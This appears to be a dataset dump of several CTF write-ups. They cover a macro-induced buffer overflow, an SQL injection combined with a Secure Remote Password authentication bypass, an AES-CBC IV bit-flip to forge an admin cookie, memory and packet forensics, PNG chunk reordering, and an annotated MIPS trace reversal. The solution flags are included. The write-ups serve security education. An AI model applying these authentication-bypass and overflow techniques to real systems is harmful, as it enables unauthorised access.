text_chunk
stringlengths 151
703k
|
|---|
# pound (Pwnable, 290pts, 20 solves)
In this task, we were given service running `host.py`. It had two functions:- printing some tweets stored as files- compiling a binary using user supplied two macros.
We quickly noticed that we could exploit the first function: giving it`../pound.c` gave us source of compiled binary. In general, we were ableto read any file in the system (readable by our user).
Looking at `pound.c`, we do not see any obvious vulnerabilities. However, sincewe control two macros, we were able to create a buffer overflow in this structure:```const int N=1024;
const int l1_len = L1;const int l2_len = L2;
#define STATE_SIZE_LEN 512
struct global_s { int s1_citizens[l1_len]; int s2_citizens[l2_len]; char s1_name[STATE_SIZE_LEN]; // Name of state 1 char s2_name[STATE_SIZE_LEN]; // Name of state 2 char *announcement; int announcement_length; int secret;} global;```We were able to define L1 and L2 as any strings, up to 3 characters long. This turned upto be quite problematic when generating a vulnerable binary. However, with L1 defined as`N^9` and L2 as `N*N`, the following line had an error:``` int length_diff = L2 - L1;```This was supposed to calculate difference beween these two constants, but with C operatorprecedence, `N*N - N^9` actually meant `(N*N - N)^9`, which gave us an overflow allowing usto control the `announcement` field in the global structure.
I created a script (`get_binary.py`) downloading their compiled version of the binary (`their_binary`), in case their compilation process differs from the one on our machine.
At this point, I gave the task to another team member, so no final exploit is given here. As far as I know, he was able to overwrite that `announcement` field and then use programcode to overwrite GOT entry and eventually exploit the binary to the end. |
The task is a usb pcap where two files were transfered. The trick was to takeeach odd packet number and take 0x708 of each to create the first file, use theeven for the 2nd file. We were left with two Libreoffice ods file. In the 2ndone, we found a table and a weird alphabetic suite which used against the tablegive us the flag. |
## Tonnerre (Crypto, 200 points, 119 solves)
We were pretty sure the service at tonnerre.pwning.xxx:8561 (source) was totally secure. But then we came across this website and now we’re having second thoughts... We think they store the service users in the same database?
###ENG[PL](#pl-version)
This task consisted of two parts: website vulnerable to SQL injection and server authenticating via `zero knowledge proof protocol` specifically `Secure Remote Password protocol`.
Using [script](doit.py) we quickly exploited the SQL vulnerability to dump information about the only user stored in database: `username`, `verifier` and `salt` (although we didn't need salt).
The next part was forcing [server script](public_server.py) to authenticate us and get the flag.The idea of zero knowledge proof is that the server aka `verifier` knows a `secret` and challenges the user to prove that the user also knows the `secret`.This has to happen without disclosing the `secret` itself so no part of the `secret` should ever be transmitted.The general approach to this problem is that the `verifier` provides a random task that can be solved only by someone with `secret`.
In our case the server prompted us for some number (denoted as `pC`) and calculated:
```c=(pC*v)%Nif c not in forbidden set: r=random(2,N-3) pS=(g**r)%N res=(pS+v)%N secret=((pC*b)**r)%N key=f(res, secret)```
It then sent us `res` and asked for resulting key.
We know `N` and `g` from the source code, while `v` is the verifier value we extracted via SQL injection.
It is easy to see that if we know `res`, we can calculate `pS`.This is because `pS` has to be less than `N` (it is reminder from division modulo `N`) and we know the value of `v` which is in the same order as `N`.This implies that `pS+v` has to be between `v` and `2N-1` and thus the modular division reminder of `res=(pS+v) mod N` can be:
- Bigger than `v` which means that `pS` was small enough that the sum `pS+v` did not exceed `N` and this means the `pS = res - v`- Smaller than `v` and this means the actual sum was greater than `N` and got cut by modulo and therefore `pS = res - v + N`
Our case was the second one.
Now the task can be stated as follows:```Given pS, N, v, gknowing pS=g**r % N, find (pC*v)**r % N for any pC.```
We can see that the numbers we need to find and the one we know are quite similar - they are both something to the power of `r` modulo `N`. If we make bases equal, we would succeed. Indeed, it is quite easy to find solution of equation:
```pC*v=g (mod N)```
We can multiply both sides by modular inverse of `v` mod `N` and get:
```pC*v*modinv(v)=g*modinv(v) (mod N)pC=g*modinv(v) (mod N)```
Unfortunately, this solution would not be accepted, as this particular `pC` is in forbidden set.So are also the obvious solutions like `pC=0` which would give `0**r % N = 0`
Since the only thing we can use is the value of `g**r (mod N)` it's clear that the `pC*v` has to be connected with `g`.We also know that the most natural operation when dealing with modular powers are powers so we figure that we could square our "known" equation, to get:```pS**2=(g**2)**r (mod N)```
So we know the value of `(g**2)**r (mod N)` and we need to convince the server to ask us to provide this value, so we need to provide such `pC` so that `pC*v mod N == g**2 mod N`
Repeating steps above to this equation, we get:
```pC=(g**2)*modinv(v) (mod N)```
And therefore is we provide such `pC` the server will ask us for the value of:
```(pC*v)**r = ((g**2)*modinv(v)*v)**r = (g**2)**r = (g**r)**2 = pS**2 (mod N)```
And since we know `pS`, the task is solved and the flag is `PCTF{SrP_v1_BeSt_sRp_c0nf1rm3d}` - actual implementation is [here](solve.py).
###PL version
Zadanie składało się z dwóch części: strony podatnej na SQL injection oraz serwera autentykującego za pomocą `zero knowledge proof protocol`, konkretnie `Secure Remote Password protocol`.
Korzystając ze [skryptu](doit.py) szybko exploitowalismy podatność SQL i pobralismy informacje na temat jedynego użytkownika z nazy danych - `username`, `verifier` i `salt` (akurat salt nie był nam potrzebny).
Następny krok to zmuszenie [skryptu serwera](public_server.py) aby nas zautentykował i podał flagę.Idea zero knowledge proof polega na tym, ze server czyli `verifier` zna pewien `sekret` i daje użytkownikowi do rozwiązania zadanie które ma potwierdzić że użytkownik także zna `sekret`.To musi odbywać się bez odkrycia `sekretu` więc żadna jego część nie może zostać transmitowana.Ogóle podejście do tego problemu polega na tym, że `verifier` generuje losowe zadanie możliwe do rozwiązania tylko przez kogoś z `sekretem`
W naszym przypadku serwer pytał o pewną liczbę (oznaczoną dalej jako `pC`) i obliczał:
```c=(pC*v)%Nif c not in forbidden set: r=random(2,N-3) pS=(g**r)%N res=(pS+v)%N secret=((pC*b)**r)%N key=f(res, secret)```
Następnie przesyłał nam wartość `res` i pytał o wynikowy klucz.
Wiemy ile wynoszą `N` oraz `g` z źródła serwera, podczas gdy `v` zostało przez nas wyciągnięte z bazy danych przez SQL Injection.
Łatwo zauważyć że jeśli znamy `res` to możemy łatwo policzyć `pS`.Wynika to z faktu, że `pS` musi być mniejsze od `N` (to reszta z dzielenia przez `N`) oraz znamy wartość `v` która jest tego samego rzędu co `N`.To oznacza, że `pS+v` musiby być pomiędzy `v` i `2N-1` a z tego wynika że reszta z dzielenia modulo `res=(pS+v) mod N` może być:
- Większa od `v` co znaczy, że `pS` było małe i suma nie przekroczyła `N` i tym samym `pS = res - v`- Mniejsza od `v` co znaczy, że suma była większa od `N` i została obcięta przez modulo i tym samym `pS = res - v + N`
W naszym przypadku prawdziwa była sytuacja numer 2.
Teraz zadanie można przedstawić jako:```Mając dane pS, N, v, gwiedząc że pS=g**r % N, znajdź (pC*v)**r % N dla pewnego pC.```
Możemy zauważyć, że liczby których szukamy i które znamy są dość podobne - i tutaj i tutaj mamy `r`-te potęgi modulo `N`.Gdybyśmy mogli ustalić identyczne podstawy potęg rozwiązalibyśmy zadanie.Łatwo wyliczyć potrzebną wartość `pC` z równania:
```pC*v=g (mod N)```
Możemy obustronnie pomnożyć to przez modinv `v` mod `N` i dostajemy:
```pC*v*modinv(v)=g*modinv(v) (mod N)pC=g*modinv(v) (mod N)```
Niestety takie rozwiązanie znajduje się w zbiorze zabronionych wartości dla `pC`.Podobnie jest z innymi oczywistymi rozwiązaniami jak `pC=0` które dałoby łatwe do przewidzenia `0**r % N = 0`
Jako że jedyna wartość którą możemy wykorzystać to `g**r (mod N)` jest jasne że `pC*v` musi mimo wszystko być powiązane z `g`.Wiemy też, że najbardziej naturalną operacją kiedy mamy do czynienia z potęgowaniem jest potęgowanie, dochodzimy więc do wniosku, że moglibyśmy podnieść znane równanie do kwadratu dostając:
```pS**2=(g**2)**r (mod N)```
Wiemy więc teraz ile wynosi `(g**2)**r (mod N)` i potrzebujemy przekonać serwer aby spytał nas o tą właśnie wartość, więc musimy dostarczyć takie `pC` że `pC*v mod N == g**2 mod N`
Wykonujac kroki podobne jak powyżej dla nowego równania dostajemy:
```pC=(g**2)*modinv(v) (mod N)```
I tym samym jeśli podamy tak wyliczone `pC` serwer zapyta nas o:
```(pC*v)**r = ((g**2)*modinv(v)*v)**r = (g**2)**r = (g**r)**2 = pS**2 (mod N)```
A wartość `pS` jest nam znana więc zadanie jest rozwiązane i flaga to `PCTF{SrP_v1_BeSt_sRp_c0nf1rm3d}` - całe rozwiązanie dostępne [tutaj](solve.py)
|
We are presented with a login system that simply encrypts a JSON blob under AES-CBC, without performing any integrity checks on the data. As such, it is subject to manipulation. Additionally, we have an encryption oracle in the form of a registration script, allowing us to generate a ciphertext of the following form:{"username":"OUR_USERNAME"}The only restriction is that OUR_USERNAME cannot be "admin".Decryption of AES-CBC ciphertext involves decrypting each block of ciphertext with AES, then performing an XOR operation between the AES-decrypted block and the previous block of ciphertext. For the first block, there is no previous ciphertext block and as such the Initialization Vector (IV), a random block-sized piece of data, is used. Wikipedia has a nice diagram of the process:When flipping any bit in any block of the ciphertext, it effectively randomizes the decryption of that block. When performing edits to CBC-mode ciphertext, we must either change bits in a block whose meaning is relatively unimportant or, if we have control of the IV, we can modify it to change the first block without any repercussions. Luckily, we do have control of the IV!We know that the message will take the following form: {"username":"admin"}As such, we can guess that the first two bytes of the username will be at the end of our first block. This means we just need to register a username with one bit off from admin and then flip the bits of the resulting authentication cookie until we get access to /admin. Flipping the least significant bit of a (0x61) gives us ` (0x61). We register `dmin and then use Burp Intruder to flip the bits like so:Once we flip the least significant bit of the second to last byte of the IV, we change the username in our ciphertext from "`dmin" to "admin", which gives us access to the admin section, containing the following message:Note to self - my password is CTF{lettuce.3njoy.our.f00d.puns} |
Hi EveryBody The First Step In Any Forensics Challenges is Checking The File Using file or Strings or hexdump or xxd To Get Some Informations About File This is a Memory Dump so We Can Investigat it Using Volatility Or Any Memory Forensics Framework I've Found A Solution Using Volatility Framework |
Hi EveryBody We Can Check The File Using file or Strings or hexdump or xxd To Get Some Informations About File This is a Memory Dump so We Can Investigat it, I've Found A Solution Using Volatility Forensics Framework With Volatility We Can Extract All Precess And Dll's And Administrator Password .......
./volatility -f memdump.mem --profile=WinXPSP2x86 psscan ./volatility -f memdump.mem --profile=WinXPSP2x86 pslist ./volatility -f memdump.mem --profile=WinXPSP2x86 dlllist .....
Sorry For This Short Writeup because Players CTF Have Not Problem To Use Volatility FrameWork
In This Challenge The Flag Like a KeyLogger Name Thats Why Nothing Seeying In Process list We Can Scan Command Line To Get Keylogger : who_names_keyloggers_like_this.exe Writeup Source : https://github.com/MrMugiwara/WriteupsCTF/blob/master/AngstromCTF2016/Volatile90/README.mdRegards, |
#What the Hex (crypto, 15) #Solution Decode using hex and see what you get... 6236343a20615735305a584a755a58526659323975646d567963326c76626c3930623239736331397962324e72 We Can Decode This Hex To Strings :
b64: aW50ZXJuZXRfY29udmVyc2lvbl90b29sc19yb2Nr b65 That's Mean This output in Base 64We Go To Decrypt This Base64 :
Flag is : internet_conversion_tools_rock Regards, By 
|
### No Big Deal
>Description: Sometimes the answer is immediately obvious, sometimes it's obscured.>Find the answer in [here](./no-big-deal.pcap)
Well, that was really easy. After executing **strings no-big-deal.pcap| egrep ".{10,}" | head** you will get:>NBDMAGICj0 W >=3IHAVEOPTj0 W >=3exportj0 W >Q1RGe2JldHRlcmZzLnRoYW4ueW91cnN9 >Q1RGe2JldHRlcmZzLnRoYW4ueW91cnN9 >Q1RGe2JldHRlcmZzLnRoYW4ueW91cnN9 >Q1RGe2JldHRlcmZzLnRoYW4ueW91cnN9 >Q1RGe2JldHRlcmZzLnRoYW4ueW91cnN9 >Q1RGe2JldHRlcmZzLnRoYW4ueW91cnN9 >gfxdrivers
Then **echo 'Q1RGe2JldHRlcmZzLnRoYW4ueW91cnN9' | base64 -d** give you the flag: **CTF{betterfs.than.yours}** |
odrrere=======
* **CTF:** [ASIS CTF Quals 2016](https://asis-ctf.ir/)* **Category:** Forensic* **Points:** 166* **Solves:** 101
> > Chaos is merely order waiting to be deciphered>> José Saramago, The Double
We are given some file. What could it possibly be?
```$ file odrrereodrrere: PNG image data, 665 x 665, 1-bit colormap, non-interlaced```
Oh, PNG image. Maybe we'll just try to open it?
That would be too easy. But what the heck is IDAT, why is there decompression error? Let's try to find something about PNG files and IDAT. We quickly arrive to PNG specification chapter about "Chunk Specifications".
First, we have file header (`89 50 4e 47 0d 0a 1a 0a` - note that `50 43 47` stands for `PNG` in ASCII), which allows software to recognize this file as PNG image and display it properly. PNG file contents consist of different chunks. Each chunk has its length (4 bytes), type (another 4 bytes), contents ($length bytes) and CRC32 checksum (4 bytes).
At the beginning, there is `IHDR` chunk, which describes image size, bit depth and color type (like indexed palette, RGB or grayscale). In images with indexed colors mode, `PLTE` chunk comes next and describes color values (R G B) for each of the colors in the palette. Then comes `IDAT` chunks which contain parts of image datastream (possibly compressed using zlib). `IEND` makes the end of file.
We've crafted quick script to check if chunks are correct (by validating their CRC32 checksums). Seems so. Hm, why this task has such strange name and description is talking about chaos and order? After a while, it becomes clear - the task name is anagram for reorder! So we just have to find correct order of chunks...
... well, not "just". While it is easy to check whether the order is valid (datastream would decompress without errors), there are 13 IDAT chunks, which means we would have to try 6227020800 possible permutations. With 50k tests per second, we would be able to complete this task in about 1.5 days. But we don't need to try all of them - we may try to place some data chunk at the beginning of datastream, try to open our image (with some viewer that doesn't care about errors) and manually check whether what we see makes sense or is just some random noise (because zlib is compressed stream, it'll decompress fine until first misplaced chunk; validation of whole stream is performed at the end of it).
It happens that GIMP is able to open such broken image (it only reports warning `Error loading PNG file: IDAT: invalid distance too far back` to the console). But...
Why is this image all black? Look at the GIMP titlebar - it says "Indexed color". Maybe we should check what are the colors in palette? We're not fluent with GIMP UI, so we've just grabbed hex editor and...
Yeah, both colors in the palette are equally black. We've changed second to be `FF FF FF` (white) and corrected CRC32 value. Let's try again now:
Looks like it's the begining of `ASIS{...}` :) So it seems that first chunk is already in its place. Let's try to put all remaining chunks as second one.
Definitely chunk number 12 is the second (original images were cropped for the brevity of this write-up).
We apply that procedure to the remaining 11 chunks and we finally get:
Final IDAT chunks order is 0 12 8 4 9 10 6 7 3 5 2 11 1.
Our helper script [reorder.py](reorder.py) is available in this repo.
One tine little detail: this flag was inconsistent with format specified in rules of CTF, as `!` (exclamation mark) was not permitted in the middle of the flag. :) |
# Naive SearchWe first searched for common encodings for the flag header "CTF{" with CapLoader:
Clearly, there was an encoded representation of the flag in the packet capture. Next we determined by elimination that it was Base64 being used, then we sent the reassembled flow to a Base64 decoder to obtain the flag. |
## Trace (RE, 4p) follow the trace trace.log update: the flag is at 0x400D80 *(uint32_t*)0x00410EA0 == 0x400D80 ###ENG[PL](#pl-version)
We are given very long execution trace (list of opcodes executed by processor, in order) and want to get flag out of it.
It seems funny, because that was really interesting challenge. At the beginning we didn't even know where tha flag was, because tracelog doesn't contain any data (only opcodes).
We started from processing call log. We wanted to get program code from it, so we just sorted it (we wanted to get real program code that was executed)
sort trace.log | uniq > prog
Then we hacked quick and dirty script to process that code and split it into basic blocks:
```pythonimport string
blocks=[[]]blockno={}
def is_final(ins): FINAL="move r1, r1" return string.find(ins, FINAL)!=-1
for line in open("prog").read().split("\n")[:-1]: blocks[-1].append(line) blockno[line]=len(blocks)-1 if is_final(line): blocks.append([])blocks=blocks[:-1]
f=open("basic_blocks","w")for cnt, block in enumerate(blocks): f.write("Basic block #"+str(cnt)+"\n") for line in block: f.write(line+"\n") f.write("\n========\n\n")f.close()
bb=[]next_check=Truefor line in open("log").read().split("\n")[:-1]: if is_final(line): next_check=True continue if next_check: next_check=False bb.append(blockno[line])
print bb```
Result of running that script (with my manual annotations after //, no point in delaying that):
```asm// function red() - strlenBasic block #0[INFO]00400770 addiu r29, r29, 0xffffffe8 // r29 -= 18[INFO]00400774 sw r30, [r29+0x14] // r30 = r29[0x14][INFO]00400778 move r30, r29 // r30 = r29[INFO]0040077c sw r4, [r30+0x18] // r4 = r30[0x18][INFO]00400780 sw r0, [r30+0x8] // r0 = r30[8]
// block 0x400784[INFO]00400784 lw r2, [r30+0x8] // r2 = r30[8][INFO]00400788 lw r3, [r30+0x18] // r3 = r30[0x18][INFO]0040078c addu r2, r3, r2 // r2 += r3[INFO]00400790 lb r2, [r2+0x0] // r2 = r2[0][INFO]00400794 bnez r2, 0x4007a8 // if (r2 != 0) goto BLOCK_2
========
Basic block #1[INFO]0040079c lw r2, [r30+0x8] // r2 = r30[8][INFO]004007a0 j 0x4007bc // goto BLOCK_3
========
Basic block #2[INFO]004007a8 lw r2, [r30+0x8] // r2 = r30[8][INFO]004007ac addiu r2, r2, 0x1 // r2 += 1[INFO]004007b0 sw r2, [r30+0x8] // r30[8] = r2[INFO]004007b4 j 0x400784 // goto 0x400784
========
Basic block #3[INFO]004007bc move r29, r30 // r29 = r30[INFO]004007c0 lw r30, [r29+0x14] // r30 = r29[0x14][INFO]004007c4 addiu r29, r29, 0x18 // r29 += 18[INFO]004007c8 jr r31 // ret
========
// function green() - strcpyBasic block #4[INFO]004007d0 addiu r29, r29, 0xffffffe8 // r29 -= 18[INFO]004007d4 sw r30, [r29+0x14] // r29[0x14] = r30[INFO]004007d8 move r30, r29 // r30 = r29[INFO]004007dc sw r4, [r30+0x18] // r30[0x18] = r4[INFO]004007e0 sw r5, [r30+0x1c] // r30[0x1c] = r5[INFO]004007e4 sw r0, [r30+0x8] // r30[8] = r0[INFO]004007e8 j 0x40081c // goto 0x40081c
========
Basic block #5[INFO]004007f0 lw r2, [r30+0x8] // r2 = r30[8][INFO]004007f4 lw r3, [r30+0x18] // r3 = r30[0x18][INFO]004007f8 addu r2, r3, r2 // r2 += r3[INFO]004007fc lw r3, [r30+0x8] // r3 = r30[8][INFO]00400800 lw r4, [r30+0x1c] // r4 = r30[0x1c][INFO]00400804 addu r3, r4, r3 // r3 += r4[INFO]00400808 lb r3, [r3+0x0] // r3 = r3[0][INFO]0040080c sb r3, [r2+0x0] // r2[0] = r3[INFO]00400810 lw r2, [r30+0x8] // r2 = r30[8][INFO]00400814 addiu r2, r2, 0x1 // r2 += 1[INFO]00400818 sw r2, [r30+0x8] // r30[8] = r2
// block 0x40081c[INFO]0040081c lw r2, [r30+0x8] // r2 = r30[8][INFO]00400820 lw r3, [r30+0x1c] // r3 = r30[0x1c][INFO]00400824 addu r2, r3, r2 // r2 += r3[INFO]00400828 lb r2, [r2+0x0] // r2 = r2[0][INFO]0040082c bnez r2, 0x4007f0 // if r2 != 0: goto BLOCK_5
========
Basic block #6[INFO]00400834 lw r2, [r30+0x8] // r2 = r30[8][INFO]00400838 lw r3, [r30+0x18] // r3 = r30[0x18][INFO]0040083c addu r2, r3, r2 // r2 += r3[INFO]00400840 sb r0, [r2+0x0] // r2[0] = r0[INFO]00400844 move r29, r30 // r29 = r30[INFO]00400848 lw r30, [r29+0x14] // r30 = r29[0x14] [INFO]0040084c addiu r29, r29, 0x18 // r29 += 18[INFO]00400850 jr r31 // ret
========
// function blue()Basic block #7[INFO]00400858 addiu r29, r29, 0xffffffd0 [INFO]0040085c sw r31, [r29+0x2c] [INFO]00400860 sw r30, [r29+0x28] [INFO]00400864 move r30, r29 [INFO]00400868 sw r4, [r30+0x30] // r30[0x30] = r4 # buffer start[INFO]0040086c sw r5, [r30+0x34] // r30[0x34] = r5 # length[INFO]00400870 lw r2, [r30+0x34] // r2 = r30[0x34][INFO]00400874 slti r2, r2, 0x2 // r2 = (r2 < 2)[INFO]00400878 beqz r2, 0x400888 // if (r2 == 0) goto BLOCK_9 # if length >= 2 continue
========
Basic block #8[INFO]00400880 j 0x4009bc // goto exitfunc (BLOCK_14)
========
Basic block #9[INFO]00400888 lw r2, [r30+0x30] // r2 = r30[0x30][INFO]0040088c lbu r2, [r2+0x0] // r2 = r2[0] # first byte of buffer[INFO]00400890 sb r2, [r30+0x20] // r30[0x20] = r2[INFO]00400894 addiu r2, r0, 0x1 // r2 = 1[INFO]00400898 sw r2, [r30+0x18] // r30[0x18] = r2[INFO]0040089c addiu r2, r0, 0x1 // r2 = 1[INFO]004008a0 sw r2, [r30+0x1c] // r30[0x1c] = r2[INFO]004008a4 j 0x40092c // goto unnamed block
========
Basic block #10[INFO]004008ac lw r2, [r30+0x1c] // r2 = r30[0x1c] # indeks[INFO]004008b0 lw r3, [r30+0x30] // r3 = r30[0x30] # start buffera[INFO]004008b4 addu r2, r3, r2 // r2 += r3[INFO]004008b8 lb r2, [r2+0x0] // r2 = r2[0] # next character[INFO]004008bc lb r3, [r30+0x20] // r3 = r30[0x20] # first byte of buffer[INFO]004008c0 slt r2, r2, r3 // r2 = (r2 < r3)[INFO]004008c4 beqz r2, 0x400920 // if r2 != 0 goto unnamed block # if (r2 >= r3)
========
Basic block #11[INFO]004008cc lw r2, [r30+0x18] // r2 = r30[0x18] # counter18[INFO]004008d0 lw r3, [r30+0x30] // r3 = r30[0x30] # start of buffer[INFO]004008d4 addu r2, r3, r2 // r2 += r3[INFO]004008d8 lbu r2, [r2+0x0] // r2 = r2[0] # take byte from buffer[counter18][INFO]004008dc sb r2, [r30+0x21] // r30[0x21] = r2[INFO]004008e0 lw r2, [r30+0x18] // r2 = r30[0x18][INFO]004008e4 lw r3, [r30+0x30] // r3 = r30[0x30] # adress buffer[INFO]004008e8 addu r2, r3, r2 // r2 += r3[INFO]004008ec lw r3, [r30+0x1c] // r3 = r30[0x1c] # counter1c[INFO]004008f0 lw r4, [r30+0x30] // r4 = r30[0x30] # adress buffer[INFO]004008f4 addu r3, r4, r3 // r3 += r4[INFO]004008f8 lb r3, [r3+0x0] // r3 = r3[0] # buffer[counter1c][INFO]004008fc sb r3, [r2+0x0] // r2[0] = r3 # buffer[counter18] = buffer[counter1c][INFO]00400900 lw r2, [r30+0x1c] // r2 = r30[0x1c][INFO]00400904 lw r3, [r30+0x30] // r3 = r30[0x30][INFO]00400908 addu r2, r3, r2 // r2 += r3 # adress buffer[counter1c][INFO]0040090c lbu r3, [r30+0x21] // r3 = r30[0x21][INFO]00400910 sb r3, [r2+0x0] // r2[0] = r3[INFO]00400914 lw r2, [r30+0x18] // \[INFO]00400918 addiu r2, r2, 0x1 // r30[r18] += 1[INFO]0040091c sw r2, [r30+0x18] // /
// block[INFO]00400920 lw r2, [r30+0x1c] // \[INFO]00400924 addiu r2, r2, 0x1 // r30[r1c] += 1[INFO]00400928 sw r2, [r30+0x1c] // /
// block[INFO]0040092c lw r3, [r30+0x1c] // r3 = r30[0x1c] # some index (indeks1c)[INFO]00400930 lw r2, [r30+0x34] // r2 = r30[0x34] # length[INFO]00400934 slt r2, r3, r2 // r2 = (r3 < r2)[INFO]00400938 bnez r2, 0x4008ac // if index is not longer than lengrth, jump to BLOCK_10
========
Basic block #12[INFO]00400940 lw r2, [r30+0x18] // l2 = r30[0x18] # indeks2 (indeks18)[INFO]00400944 addiu r2, r2, 0xffffffff // r2 -= 1[INFO]00400948 lw r3, [r30+0x30] // r3 = r30[0x30][INFO]0040094c addu r2, r3, r2 [INFO]00400950 lbu r2, [r2+0x0] // r2 = buffer[r18 - 1][INFO]00400954 sb r2, [r30+0x21] // r30[0x21] = r2[INFO]00400958 lw r2, [r30+0x18] [INFO]0040095c addiu r2, r2, 0xffffffff // r2 = r30[0x18] - 1[INFO]00400960 lw r3, [r30+0x30] [INFO]00400964 addu r2, r3, r2 // r2 = &buffer[r2][INFO]00400968 lw r3, [r30+0x30][INFO]0040096c lb r3, [r3+0x0] // r3 = buffer[0] [INFO]00400970 sb r3, [r2+0x0] // buffer[r18-1] = buffer[0][INFO]00400974 lw r2, [r30+0x30] [INFO]00400978 lbu r3, [r30+0x21] [INFO]0040097c sb r3, [r2+0x0] // buffer[0] = r30[r21];[INFO]00400980 lw r2, [r30+0x18] [INFO]00400984 addiu r2, r2, 0xffffffff // r2 -= 1[INFO]00400988 lw r4, [r30+0x30] [INFO]0040098c move r5, r2 // r5 = r2[INFO]00400990 jal 0x400858 // call blue()
========
Basic block #13[INFO]00400998 lw r2, [r30+0x18][INFO]0040099c lw r3, [r30+0x30] [INFO]004009a0 addu r4, r3, r2 // r4 = &buffer[r18] [INFO]004009a4 lw r3, [r30+0x34] [INFO]004009a8 lw r2, [r30+0x18] [INFO]004009ac subu r2, r3, r2 // r2 = buflen - r18[INFO]004009b0 move r5, r2 // r5 = r2[INFO]004009b4 jal 0x400858 // call blue()
========
Basic block #14[INFO]004009bc move r29, r30 // exit func[INFO]004009c0 lw r31, [r29+0x2c] // r31 = r29[0x2c][INFO]004009c4 lw r30, [r29+0x28] // r39 = r29[0x28][INFO]004009c8 addiu r29, r29, 0x30 // r29 += 0x30[INFO]004009cc jr r31 // ret
========
// main()Basic block #15[INFO]004009d4 addiu r29, r29, 0xfffffec8 [INFO]004009d8 sw r31, [r29+0x134] [INFO]004009dc sw r30, [r29+0x130] [INFO]004009e0 move r30, r29 [INFO]004009e4 lui r28, 0x42 [INFO]004009e8 addiu r28, r28, 0xffff8eb0 [INFO]004009ec sw r28, [r29+0x10][INFO]004009f0 lui r2, 0x41 [INFO]004009f4 lw r2, [r2+0xea0] [INFO]004009f8 move r4, r2 // r4 = FLAG [INFO]004009fc jal 0x400770 // strlen(FLAG)[INFO]00400a00 move r1, r1
========
Basic block #16[INFO]00400a04 lw r28, [r30+0x10] // r28 = r30[0x10][INFO]00400a08 sw r2, [r30+0x2c] // r30[0x2c] = r2 (result of strlen)[INFO]00400a0c sw r0, [r30+0x18] // r30[0x18] = 0[INFO]00400a10 j 0x400a4c [INFO]00400a14 move r1, r1
========
Basic block #17 - compute something funny, looks like abcdefghi... array[INFO]00400a18 lw r2, [r30+0x18] // r2 = r30[0x18] [INFO]00400a1c andi r2, r2, 0xff // r2 &= 0xFF[INFO]00400a20 addiu r2, r2, 0x61 // r2 += 0x61 # += 'a'[INFO]00400a24 andi r2, r2, 0xff // r2 &= 0xFF[INFO]00400a28 sll r3, r2, 0x18 // r3 = r2 << 0x18[INFO]00400a2c sra r3, r3, 0x18 // r3 = r3 >> 0x18[INFO]00400a30 addiu r4, r30, 0x30 // r4 = r30 + 0x30[INFO]00400a34 lw r2, [r30+0x18] // r2 = r30[0x18] # indekx[INFO]00400a38 addu r2, r4, r2 // r2 += r4 # bufer[index]?[INFO]00400a3c sb r3, [r2+0x0] // r2[0] = r3[INFO]00400a40 lw r2, [r30+0x18] // \[INFO]00400a44 addiu r2, r2, 0x1 // r30[0x18] += 1[INFO]00400a48 sw r2, [r30+0x18] // /
// block[INFO]00400a4c lw r2, [r30+0x18] // r2 = r30[0x18] (starting with 00[INFO]00400a50 slti r2, r2, 0x1a // while r2 < 0x1a, so string length[INFO]00400a54 bnez r2, 0x400a18
========
Basic block #18[INFO]00400a5c sw r0, [r30+0x1c] // r30[0x1c] = 0[INFO]00400a60 j 0x400aa0 // goto ...
========
Basic block #19[INFO]00400a68 lw r2, [r30+0x1c] // r2 = r30[0x1c] # offset in buffer?[INFO]00400a6c addiu r2, r2, 0x1a // r2 += 0x1a[INFO]00400a70 lw r3, [r30+0x1c] // r30 = r30[0x1c] # index[INFO]00400a74 andi r3, r3, 0xff // r3 &= 0xFF[INFO]00400a78 addiu r3, r3, 0x41 // r3 += 0x41 # 'A'[INFO]00400a7c andi r3, r3, 0xff // r3 &= 0xFF[INFO]00400a80 sll r3, r3, 0x18 // r3 <<= 0x18[INFO]00400a84 sra r3, r3, 0x18 // r3 >>= 0x18[INFO]00400a88 addiu r4, r30, 0x30 // r4 = r30 + 0x30 # another buffer?[INFO]00400a8c addu r2, r4, r2 // r2 += r4 # buffer[index]?[INFO]00400a90 sb r3, [r2+0x0] // r2[0] = r3[INFO]00400a94 lw r2, [r30+0x1c] // \[INFO]00400a98 addiu r2, r2, 0x1 // r30[0x1c] += 1[INFO]00400a9c sw r2, [r30+0x1c] // /[INFO]00400aa0 lw r2, [r30+0x1c] // stupid compiler
// block[INFO]00400aa4 slti r2, r2, 0x1a // loop 26 times[INFO]00400aa8 bnez r2, 0x400a68
========
Basic block #20[INFO]00400ab0 sw r0, [r30+0x20] // r30[0x20] = 0[INFO]00400ab4 j 0x400af4 [INFO]00400ab8 move r1, r1
========
Basic block #21[INFO]00400abc lw r2, [r30+0x20] //[INFO]00400ac0 addiu r2, r2, 0x34 // offset in buffer[INFO]00400ac4 lw r3, [r30+0x20] //[INFO]00400ac8 andi r3, r3, 0xff //[INFO]00400acc addiu r3, r3, 0x30 //[INFO]00400ad0 andi r3, r3, 0xff //[INFO]00400ad4 sll r3, r3, 0x18 //[INFO]00400ad8 sra r3, r3, 0x18 //[INFO]00400adc addiu r4, r30, 0x30 // create buffer filled with 012345...[INFO]00400ae0 addu r2, r4, r2 //[INFO]00400ae4 sb r3, [r2+0x0] //[INFO]00400ae8 lw r2, [r30+0x20] //[INFO]00400aec addiu r2, r2, 0x1 //[INFO]00400af0 sw r2, [r30+0x20] //[INFO]00400af4 lw r2, [r30+0x20] //[INFO]00400af8 slti r2, r2, 0xa //[INFO]00400afc bnez r2, 0x400abc //
========
Basic block #22[INFO]00400b04 addiu r2, r0, 0x7b // r2 = 0x7b # {[INFO]00400b08 sb r2, [r30+0x6e] // r30[0x6e] = r2[INFO]00400b0c addiu r2, r0, 0x7d // r2 = 0x7d # }[INFO]00400b10 sb r2, [r30+0x6f] // r30[0x6f] = r2[INFO]00400b14 lui r2, 0x41 // r2 = 0x41[INFO]00400b18 lw r3, [r2+0xea0] // r3 = &FLAG[INFO]00400b1c addiu r2, r30, 0x30 // r2 = r30 + 0x30 - start of buffer[INFO]00400b20 addiu r2, r2, 0x40 // r2 += 0x40 - 40 byte offset[INFO]00400b24 move r4, r2 // r4 = r2 - copy there[INFO]00400b28 move r5, r3 // r5 = r3 - flag[INFO]00400b2c jal 0x4007d0 // strcpy()
========
Basic block #23[INFO]00400b34 lw r28, [r30+0x10] // r28 = r30[0x10][INFO]00400b38 addiu r2, r30, 0x30 // r2 = r30 + 0x30[INFO]00400b3c move r4, r2 // r4 = r2[INFO]00400b40 jal 0x400770 // strlen() # wychodzi 90
========
